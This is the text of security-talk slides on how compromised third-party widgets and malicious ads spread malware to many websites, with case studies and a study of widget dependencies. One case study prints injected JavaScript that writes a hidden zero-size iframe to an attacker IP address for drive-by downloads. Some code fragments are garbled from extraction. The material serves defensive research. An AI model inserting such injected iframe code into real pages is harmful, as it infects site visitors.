Malware Distribution Via Widgetization of the Web

Neil Daswani

www.neildaswani.com

CTO & Co-Founder

Joint work with Tufan Demir, Ameet Ranadive, and Shariq Rizvi
Websites Are Infected with Malware from Third-Party Widgets, Ads, Software
“Structural” Vulnerabilities

A structural vulnerability is:

*a weakness in a web page that may allow an attacker to compromise the entire page as a result of the reliance of the page design on a page component, where the compromise of the component can result in compromise of the entire page.*
Examples

<script> ... document.write(unescape("\"%3Cscript src\\u201c\\" + gaJsHost + "google-analytics.com/ga.js' ... \\
</script>

<script type='text/javascript' src='jquery.js' ... 

<iframe src="http://www.survey.com/?...%26query %3D%5Bterms%5D%26id%3D%5Bix%5D %26agent%3D%5Ble%3D2%26size%3D160x600,Z %3D160x600...
Case Study: Compromised Widget

Over 19K Websites affected

http://94.75.210.6/measure/

// xxxxxx tagging
XXX.require('//secure-us.xxxxxxxxxxx.com/xxx.js', function () {
  var trac = nol_t({
    cid: 'xx-xxxxxxxx',
    content: '0',
    server: 'secure-us'
  });
  trac.record().post();
});

function NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}function
nol_t(b,a){return new
NolTracker(b,a)}NolTracker.prototype.version="6.0.9";NolTracker.prototype.
scriptName=(function(){try{var
b=document.getElementsByTagName("script");var c=b[b.length-1].getAttribute("src").match(/\^\/[\s]*$/)}catch(a){}})

Used for audience measurement
Case Study: Compromised Widget

http://secure-us.xxxxxxxxxxxxxxxxxxxxxx.com/xxxx.js

Code snippet from this javascript file:

```javascript
function _rsEH(_rsE,_rsU,_rsL)
{
}
document.write('<iframe width=0 height=0 src="http://95.211.14.58/measure/"></iframe>');</nfunction rsCi()
{
    var _rsUA=navigator.appName+" "+navigator.appVersion;
    var _rsRUA=navigator.userAgent;
    var _rsWS=window.screen;
    ....
```
Case Study: Compromised Widget

1) http://www.xxxxxxxxxxxxxxxxxxx.com
2) http://xxxxxxxxxxxxxxx.com/js/app/analytics/trackingTags_v1.1.js
   // tagging
   XXXXX.require('//secure-us.xxxxxxxxxxxxxxxxxxxx.com/xxxxxx.js', function () {
      var trac = nol_t({
         cid: 'us-xxxxxxxxxxxx',
      });
      trac.record().post();
   });
3) http://secure-us.xxxxxxxxxxxxxxxxxxxx.com/xxxxxx.js
4) http://94.75.210.6/measure/
   Drive-by-download
Case Study: Malvertising: Fake Advertiser

Malvertiser: Upload legitimate ad, create new account, account approved, upload ad URLs/tags, upload malicious ad.

Mal Server: Serve ad URLs/tags, request ad as part of page rendering.

Ad Network: Serve ad URLs/tags, request ads as part of page rendering.

Publisher: Upload ad URLs/tags, serve ad URLs/tags.

User: Request ad as part of page rendering.
Case Study: Malvertising: Malicious Ad Syndication

Malvertiser → Mal Server → Ad Network B → Ad Network A → Publisher → User

- Upload malicious ad
- Create new account + upload malicious ad URL

User

- Get ad tag
- Insert tag on page
- Serve pages
- Request ad as part of page rendering
- Redirect to syndicated ad network

User

- Follow redirect
- Redirect to ad creative
- Request ad creative as part of page rendering

User

- Malicious ad loading
- Malware execution

Dasient
Case Study: Malvertising: Compromise Legitimate Advertiser
Case Study: Compromised Application

- Vulnerable, 3rd party ad server
- Due to external JavaScript snippet
- Normal behavior was to add IMG tags to page; image tags came from “zones” DB table
- Attackers injected malicious JS tags into zones table
- Injected JS tags used JVM vulns: CVE-2009-3867 and CVE-2010-0886
- Conducted drive-by-downloads
Widgetized Web Graph

- Preliminary study – computed on home pages of Quantcast 1000 sites
- Emulated JavaScript and IFRAME widgets
- Nodes: distinct subdomains
- Edges: uses SCRIPT or IFRAME
- Exposes dependencies on most frequently used widgets on the web
Widgetized Web Graph
Widgetized Web Graph

- Nodes: 1923
- Edges: 2843
- Connected Components: 144
Most sites use under 10 widgets
Most sites use just a few of the “top 10” widgets
“Core” Widgetized Web Graph
“Core” Widgetized Web Graph
Most Popular Widgets

- 300 www.google-analytics.com
- 120 ad.doubleclick.net
- 105 ajax.googleapis.com
- 90 edge.quantserve.com
- 84 b.scorecardresearch.com
- 81 partner.googleadservices.com
- 62 connect.facebook.net
- 39 www.facebook.com
- 38 www.google.com
- 35 pubads.g.doubleclick.net
Most Popular Widgets

- Audience Measurement (Google Analytics, Quantcast, ScorecardResearch)
- Advertising (DoubleClick, Google AdSense)
- Google Ajax Widgets
- Facebook Widgets
Take-aways

• Bad news: Compromise of just a few popular widgets can be used to turn most trafficked web sites on the Internet into distribution vehicles for malware

• Good news: Top widgets / properties do not have dependencies on each other
Where to learn more

• Dasient Home Page / Blog / Twitter:
  http://www.dasient.com
  http://blog.dasient.com
  http://twitter.com/dasient

• Neil's Home Page:
  http://www.neildaswani.com

• Stanford Security Certification Program:
  http://bit.ly/90zR1y
Where to learn more

Foundations of Security:
What Every Programmer To Know
by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842)

Book web site:
http://www.learnsecurity.com/ntk

Free slides at:
http://code.google.com/edu/security
We’re hiring!

Anti-malware engineer
Software engineer
Malware researcher
Product marketing manager

careers@dasient.com